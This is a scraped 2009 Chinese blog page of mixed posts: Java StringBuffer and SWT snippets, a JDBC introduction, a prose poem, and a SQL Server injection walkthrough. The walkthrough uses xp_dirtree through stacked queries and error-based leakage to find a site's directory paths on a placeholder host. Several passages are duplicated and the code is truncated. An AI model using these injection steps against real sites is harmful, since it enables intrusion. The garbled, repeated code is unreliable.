java中实现字符串倒序排列
[ 2009/05/31 16:17 | by shazi ]
今天刚从StringBuffer类里面看到的,其中有一个reverse()方法,可以将此字符序列用其反转形式取代。
一个简单的例子:
一个简单的例子:
StringBuffer sb = new StringBuffer("start");
System.out.println(sb);
StringBuffer sb2 = new StringBuffer();
sb2=sb.reverse();
System.out.println(sb2);
System.out.println(sb);
StringBuffer sb2 = new StringBuffer();
sb2=sb.reverse();
System.out.println(sb2);
SWT中FileDialog读取文件的方法
[ 2009/05/31 16:16 | by shazi ]
SWT中FileDialog读取文件的方法
代码如下:
代码如下:
package com.xing.widret;
import java.io.BufferedReader;
import java.io.FileNotFoundException;
import java.io.FileReader;
import java.io.IOException;
import org.eclipse.swt.SWT;
import org.eclipse.swt.events.SelectionAdapter;
import org.eclipse.swt.events.SelectionEvent;
import org.eclipse.swt.widgets.Button;
import org.eclipse.swt.widgets.Display;
import org.eclipse.swt.widgets.FileDialog;
import org.eclipse.swt.widgets.Shell;
import org.eclipse.swt.widgets.Text;
public class DemoFileDialog {
private Text text;
protected Shell shell;
import java.io.BufferedReader;
import java.io.FileNotFoundException;
import java.io.FileReader;
import java.io.IOException;
import org.eclipse.swt.SWT;
import org.eclipse.swt.events.SelectionAdapter;
import org.eclipse.swt.events.SelectionEvent;
import org.eclipse.swt.widgets.Button;
import org.eclipse.swt.widgets.Display;
import org.eclipse.swt.widgets.FileDialog;
import org.eclipse.swt.widgets.Shell;
import org.eclipse.swt.widgets.Text;
public class DemoFileDialog {
private Text text;
protected Shell shell;
Sqlserver取得网站路径的几种方法和比较。
[ 2009/05/31 16:14 | by shazi ]
如果网站只开了80端口,你会发现下面的方法是比较有用的
其中用的方法几乎都不是我发现的,文总包括一些注入时的个人经验和技巧
方法可以说有4种(现在已知的)
第一种方法:
这个是<<怪异的SQL注入>>中介绍的方法
利用sqlserver的xp_dirtree,好的我们先来将一下方法,然后再说其优劣处(在原文的基础上作了点补充)
建立表
语句:http://www.xxxxx.com/down/list.asp?id= ... s(pathsvarchar(1000))--
返回:正常的信息!说明建表成功!继续!
(建的比原文的大一点,因为我遇过名子很长的文件,删除了那个id,因为没有什么用
语句:http://www.xxxxx.com/down/list.asp?id=1;inser ... o.xp_dirtree'c:\'--
返回:正常信息。说明写入C盘的所有目录成功了!爽!接下来就是取表了!暴它出来。(好像只有暴这种方法了)
语句:http://www.xxxxx.com/down/list.asp?id= ... lecttop1pathsfromdirs)-
返回:Microsoft OLE DB Provider for SQL Server 错误 80040e07
将 varchar 值 '@Inetpub'转换为数据类型为 int 的列时发生语法错误。
其中用的方法几乎都不是我发现的,文总包括一些注入时的个人经验和技巧
方法可以说有4种(现在已知的)
第一种方法:
这个是<<怪异的SQL注入>>中介绍的方法
利用sqlserver的xp_dirtree,好的我们先来将一下方法,然后再说其优劣处(在原文的基础上作了点补充)
建立表
语句:http://www.xxxxx.com/down/list.asp?id= ... s(pathsvarchar(1000))--
返回:正常的信息!说明建表成功!继续!
(建的比原文的大一点,因为我遇过名子很长的文件,删除了那个id,因为没有什么用
语句:http://www.xxxxx.com/down/list.asp?id=1;inser ... o.xp_dirtree'c:\'--
返回:正常信息。说明写入C盘的所有目录成功了!爽!接下来就是取表了!暴它出来。(好像只有暴这种方法了)
语句:http://www.xxxxx.com/down/list.asp?id= ... lecttop1pathsfromdirs)-
返回:Microsoft OLE DB Provider for SQL Server 错误 80040e07
将 varchar 值 '@Inetpub'转换为数据类型为 int 的列时发生语法错误。
用Java访问SQL Server 2000数据库
[ 2009/05/31 16:11 | by shazi ]
数据库技术和网络技术是当今计算机领域的两大热门话题,数据库技术自产生以来,在技术上已发展成熟。而作为前端访问的开发工具和环境仍处在不断完善和发展之中,除了网络上使用的ASP、PHP、JSP作为前端连接数据库技术外,小型系统上常用访问数据库技术有Delphi、Visual Basic、PowerBuilder及VC++等,而Java也是其中之一。
Java语言是编写数据库应用程序的杰出语言之一,它提供了方便访问数据的技术。利用Java语言中的JDBC技术,用户能方便地开发出基于Web网页的数据库访问程序,从而扩充网络应用功能。JDBC(Java Database Connectivity,Java数据库连接)是一种用于执行SQL语句的Java API,可以为多种关系数据库提供统一的访问接口。JDBC由一组用Java语言编写的类与接口组成,通过调用这些类和接口所提供的方法,用户能够以一致的方式连接多种不同的数据库系统(如Access、SQL Server 2000、Oracle、Sybase等),进而可使用标准的SQL语言来存取数据库中的数据,而不必再为每一种数据库系统编写不同的Java程序代码。
SQL Server2000是微软公司新一代的数据库产品,它是在SQL Server7.0建立的坚固基础上产生的,并对SQL Server7.0做了大量扩展。SQL Server2000通过高端硬件平台以及最新网络和存储技术的支持,可为最大的Web站点和企业级应用提供可扩展性和高可靠性。
Java语言是编写数据库应用程序的杰出语言之一,它提供了方便访问数据的技术。利用Java语言中的JDBC技术,用户能方便地开发出基于Web网页的数据库访问程序,从而扩充网络应用功能。JDBC(Java Database Connectivity,Java数据库连接)是一种用于执行SQL语句的Java API,可以为多种关系数据库提供统一的访问接口。JDBC由一组用Java语言编写的类与接口组成,通过调用这些类和接口所提供的方法,用户能够以一致的方式连接多种不同的数据库系统(如Access、SQL Server 2000、Oracle、Sybase等),进而可使用标准的SQL语言来存取数据库中的数据,而不必再为每一种数据库系统编写不同的Java程序代码。
SQL Server2000是微软公司新一代的数据库产品,它是在SQL Server7.0建立的坚固基础上产生的,并对SQL Server7.0做了大量扩展。SQL Server2000通过高端硬件平台以及最新网络和存储技术的支持,可为最大的Web站点和企业级应用提供可扩展性和高可靠性。
这是个抽烟的男人
身边没有女人或许将来的某个时刻会有我们将不会知道
几乎没有爱好但却有充足的感情
有名字但我们不会得知
记住的只有他是个抽烟的男人
某条街道
我们看到他在一个电话厅下面坐着抽烟
他不是一个人坐着身边还有个老人
但或许是个乞丐
他在对老人说着什么
走近了我们可以看到
他手里还拿着一本书不时的翻开其中的某一页给老人看
是是波德莱尔的<恶之花>
他说的话我们可以隐约听的到
将波德莱尔的身世一直讲到兰波
将欧里彼得斯一直到自恋的可爱孩子纳西椰斯如何变成水仙花
我们知道老人一句也不会听懂 但似乎一直在沉稳的听着
蚂蚁从他的裤子下面爬了进去
蚊子在他的脖子后面吸着他纯洁的血
什么时候烟燃尽了烧到了他的手
他停止了说话
烟灰落在了地上覆盖了某个爬行的蚂蚁
他起身离开老人便睡了过去
身边没有女人或许将来的某个时刻会有我们将不会知道
几乎没有爱好但却有充足的感情
有名字但我们不会得知
记住的只有他是个抽烟的男人
某条街道
我们看到他在一个电话厅下面坐着抽烟
他不是一个人坐着身边还有个老人
但或许是个乞丐
他在对老人说着什么
走近了我们可以看到
他手里还拿着一本书不时的翻开其中的某一页给老人看
是是波德莱尔的<恶之花>
他说的话我们可以隐约听的到
将波德莱尔的身世一直讲到兰波
将欧里彼得斯一直到自恋的可爱孩子纳西椰斯如何变成水仙花
我们知道老人一句也不会听懂 但似乎一直在沉稳的听着
蚂蚁从他的裤子下面爬了进去
蚊子在他的脖子后面吸着他纯洁的血
什么时候烟燃尽了烧到了他的手
他停止了说话
烟灰落在了地上覆盖了某个爬行的蚂蚁
他起身离开老人便睡了过去




